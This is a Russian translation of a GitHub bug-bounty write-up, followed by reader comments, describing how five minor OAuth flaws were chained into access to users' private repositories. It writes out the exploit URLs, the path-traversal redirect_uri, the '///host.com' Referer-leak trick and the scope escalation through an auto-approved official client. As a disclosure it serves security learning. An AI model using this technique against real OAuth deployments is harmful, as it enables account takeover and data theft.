Как я взломал Гитхаб еще раз

Original author: Egor Homakov
  • Translation
Это история о том, как я соединил 5 Low-severity багов в один большой баг, с помощью которого можно было читать/писать в приватные репы на Гитхабе (опять).

Несколько дней назад гитхаб запустил баунти программу. За 4 часа я смастерил такой URL после посещения которого я получал доступ к вашему гитхаб аккаунту и репозиториям. Хотите узнать как?

Начал я с проверки Github OAuth.

Баг 1. Обход валидации redirect_uri с /../

Это просто — можно отослать /path1/../path2 чтобы перезаписать предыдущий путь (path traversal).

Баг 2. Нет валидации redirect_uri при получении токена.

Первый баг сам по себе ничего не стоит. В OAuth2 встроена защита, что для каждого выпущеного кода есть соответствующий редирект_ури, и при обмене кода на токен необходимо дать тот же ури что был использован вначале. Попросту говоря если вернулся код на site/callback то и для получения токена надо отослать site/callback.

Как ни странно гитхаб реализовали проверку не правильно. Можно было выпустить код для /path1/../path2 и потом использовать его на /path1. То есть утекший через рефереры код оставался валидным даже для настоящего колбэка. С помощью этих двух багов можно было бы сливать коды через рефереры на сайтах с функцией логина через Гитхаб. Похожий баг был в vk.com.

Баг 3. Картинки на гисте.

image
Я начал смотреть официальные клиенты гитхаба — Education, Pages, Speakerdeck, Gist. Первые два не пользовались OAuth по-сути, третий не входил в bounty программу, а вот гист очень даже подходил. Он был «пре-одобренным» клиентом, то есть по-умолчанию установлен у всех пользователей.
Но нельзя было просто вставить так как Camo-прокси гитхаба заменит это на локальный урл, и реферер не утечет на ваш сервер. Чтобы обойти эту защиту я использовал довольно новый трюк

///host.com парсится как путь всеми серверными библиотеками включая руби, но браузеры же парсят это как хост и загружают host.com вместо github.com///host.com

Наш урл-эксплоит выглядит сейчас так:

github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code


image
Как только юзер загружает это адрес гитхаб автоматически редиректит на мой гист с картинкой на моем сервере:
Location: gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE

Браузер загружает gist.github.com/homakov/8820324?code=CODE

И тут при запросе на нашу картинку он сливает реферер.

Как только мы получаем CODE жертвы мы можем открыть gist.github.com/auth/github/callback?code=CODE — вуаля. Мы залогинены как жертва на гисте и имеем доступ к его приватным гистам.

Баг 4. Токен хранится в куках

image
Это антипаттерн OAuth, крайне не рекомендуется хранить/показывать токен браузеру, гист же хранит его в рельс сессии. Которая как мы знаем просто base64 закодированная и подписанная кука.
image
Вот же он — github_token. Теперь мы можем делать запросы напрямую, минуя сайт гиста. Но токен имеет scope = gists и кроме гистов я ничего не могу прочесть. Хотя…

Баг 5. Автоматическое одобрение любого scope для официальных клиентов.

Последний штрих. Так как гист это официальный клиент гитхаба то вы не видите диалога «Одобрить эти скоупы» и гитхаб делает одобрение за вас автоматически. А значит я могу просто послать

github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&
redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&
response_type=code&
scope=repo,gists,user,delete_repo,notifications


Затем использовать слитый CODE для логина в аккаунт жертвы, прочитаю куку, возьму оттуда github_token и тут уже смогу совершать API вызовы совершенно незаметно для пользователя — ведь токен принадлежит Гисту! Стелс-мод эдакий, преступление без следов.

Награда составила $4000.
image

И вообще я доступен для работы, например.
Share post

Similar posts

Comments 56

    +8
    ЯННП, потому что сам Егор не гений в типографике и словесности, а потом вы все это смачно перевели, а я теперь сижу и думаю, что же такое
    «Можно было выпустить код для /path1/../path2»
      +84
      Так Chikey и есть Егор, лол.
        +222
        Сидишь такой, переводишь оригинал, и думаешь какой *дак это писал. Постоянно со мной такое.
          +9
          Ахахах, вот это да, смешно вышло :) Обычно всех ругают за отсутствие метки «перевод», а у вас получился перевод самого себя :)
            0
            Получилось понятнее, чем когда текст сразу на русском. Возможно, стоит иногда пользоваться таким способом =)
              0
              Как хорошо, что вы на светлой стороне силы! :)
            0
            Ну вот же пример урла

            github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9& redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324

            +32
            И вообще я доступен для работы, например.

            Хм… отличное резюме))
              +40
              За ссылку в комментариях меня не отправят в «Я пиарюсь» опять надеюсь? www.sakurity.com/

              Я и правда пиарюсь, чего уж там.
                0
                Напишите пожалуйста потом чем в итоге закончился Ваш пиар в плане поиска работы.
                  +9
                  На хакер ньюс хорошо ищется. На хабре никак.
                    –11
                    В русской версии сакурити, еще остался мой twitter'овский ник.
                    Эх. Удалился я :(
                    Кстати, надо что-нибудь запилить.
                    Я тебе отпишусь на днях в скайпе
                • UFO just landed and posted this here
                    +18
                    Стараюсь работать со стартапами интересными. Им даю скидки и бонусы разные. Для энтерпрайза нет.
                      0
                      У стартапов больше денег, чем у энтерпрайза? Или больше понимания?
                        +7
                        С ними проще идти на контакт, реально помогать и улучшать архитектуру. Денег у них не много, поэтому я и даю скидки. Рейт не фиксированный для всех.
                    0
                    Мне всегда было интересно, ваши предыдущие статьи приводили к вам новых клиентов? А то неоднократно в ваших комментариях видел, что вы так и сидите без работы, прям не верилось.
                      +4
                      С хабра не пришло еще ни одного клиента. Рунет такой рунет.
                    +22
                    С рекомендациями от GitHub :D
                    +1
                    Красиво и выгодно
                      +7
                      Егор, сколько времени ушло на раскручивание этой уязвимости, включая все составляющие?
                        +28
                        4 часа
                          +21
                          Пора поднять на сайте рейт до $1k\час :)
                            +82
                            Не ну я не настолько еще оуел
                        0
                        Gmail вырезает ссылки <img src="///host.com" /> из писем.
                          +49
                          Ну вот, теперь наконец-то и Егор добился того, что его можно узнавать уже по заголовку статьи =)
                            +5
                            >И вообще я доступен для работы, например.
                            Как показывает практика, русскоязычные HRы пока не понимают, что такое Хабр и о чём тут пишут, максимум у них хватает скила искать совпадение слов в тексте вакансии и профиле Линкедина.
                              +1
                              Упомянуть это лишним точно не будет, тем более в оригинале практические тоже самое в конце написано. А у понимающих русских компаний немного другие механизмы поиска и ищут таких исполнителей обычно в англоязычном интернете.
                                0
                                Плохие парсеры у них, мне писали по Java в то время как на линкедине было JavaScript. Для них видимо одно и то же. Боюсь представить что у них выходит в остальных случаях.
                                  0
                                  Дело в том чо задача HR это набрать рабоников в штат, а не привлекать фрилансеров.
                                    0
                                    фрилансер и профснальный контрактор это небо и земля.
                                  +7
                                  Хочу пожать вам руку, вроде бы все так просто и гениально, а вроде и запутано :) Сижу под огромным впечатлением :)
                                    +18
                                    Довольно забавно как из мелочей можно сделать громадную дыру. Расскажите где такому учат? :)

                                    З.Ы. Егор, хватить ломать интернеты :)
                                      –10
                                      Мелковат гитхаб-то. Дуров 100000$ платил.
                                        +1
                                        Слушайте, ну круто. А вы как достигли такого уровня?
                                          +2
                                          Какого уровня? баги то детские. Просто Егор задавался вопросом «а что будет если», а те кто делал авторизацию в гитхабе нет.

                                          Мне вот однажды надо было внедрить санитайзер, который уже использовался много где в яндексе. тоже дырок много понаходил, но заводил сразу баги в джире. Надо ли говорить, что никакого вознаграждения я не получил?) да, Егор, я тебе завидую. Почему то вечно узнаю об этих баунтях лишь когда все уже все нашли(
                                            +12
                                            Чему завидовать тут, этот пост вершина айсберга. Есть еще куча неоплаченых/неотвеченных/wontfixеных репортов, у каждого из нас.

                                            Баги простые, и в этом прикол всей цепочки. Ну и для меня взломать чей то oauth дело чести.
                                              +7
                                              «для меня взломать чей то oauth дело чести»

                                              Опасный вы человек =)
                                              0
                                              Ну не знаю. Я взломами не занимаюсь, поэтому для меня такой успех — признак высокого уровня.
                                            0
                                            Кстати, картинку еще можно вроде размещать по https просто, тогда она не должна проксироваться.
                                              0
                                              Нет, все картинки проксируются, как раз чтобы рефереры не утекали. У ссылок ставится noreferrer
                                                0
                                                Интересно, в ридмишках на самом гитхабе не проксируются зато. Так всякие бейджи работают.
                                                  0
                                                  Бейджы вайтлистятся я полагаю. Если сможете вставить крос доменную картинку — дайте знать )
                                                    0
                                                    Хм, вставлял из jenkins — у дженкинса даже плагин есть специальный для этого.
                                                      +1
                                                      Ух ты, действительно, теперь включили https проксирование для картинок. Буквально пол года назад его еще не было :) Судя по механизму — используют периодическое обновление изображения с сервера или что-то вроде этого, дальше не разбирался.
                                                +3
                                                Спасибо за статью! Вдохновился и перешел на gitlab :)
                                                  +9
                                                  Тогда только на последнюю версию, пару месяцев назад там была утечка инфы примерно таким же образом :)
                                                  –1
                                                  Отличная статья и отдельное спасибо за ссылку на блог автора. С интересом почитал и блог. Буду благодарен если кто-то скинет список похожих блогов на эту же тематику.
                                                    0
                                                    Не понимаю, за что ставят минусы. В низу статьи стоит ссылка на блог, где расположен оригинал статьи. Там есть масса других интересных статей о уязвимостях, о которых я прежде не слышал. Например, cookie bombing.
                                                      +2
                                                      Возможно минусуют за невнимательность. Автор блога по ссылке и автор данной статьи — одно лицо (перевел сам себя так сказать)
                                                    +1
                                                    Которая как мы знаем просто base64 закодированная и подписанная кука.

                                                    Нихилый такой антипаттерн.
                                                      0
                                                      По сути — вариант дешево и сердито. Для своей области применимости не так уж и страшно.
                                                        +1
                                                        С чем несогласен минусующий?

                                                        Такой вариант даёт client-side сессии, практически не требующие ресурсов сервера на поддержание их жизненного цикла. Естественно, что ничего связанного с security, правами и т. п. в них хранится не должно. Но, скажем, хранить настройки сортировки или что-нибудь столь же некритичное — не страшно.
                                                        –1
                                                        У Гитхаба просто старая Rails используется (понятное дело, что обновить фреймворк для такого приложения не просто). Сейчас куки приходять в зашифрованном виде от rails 4 (подписаны через ключ): api.rubyonrails.org/classes/ActionDispatch/Session/CookieStore.html
                                                      0
                                                      Немного не понял, а как эту куку можно считать? Она же на гитхабовском домене.

                                                      Only users with full accounts can post comments. Log in, please.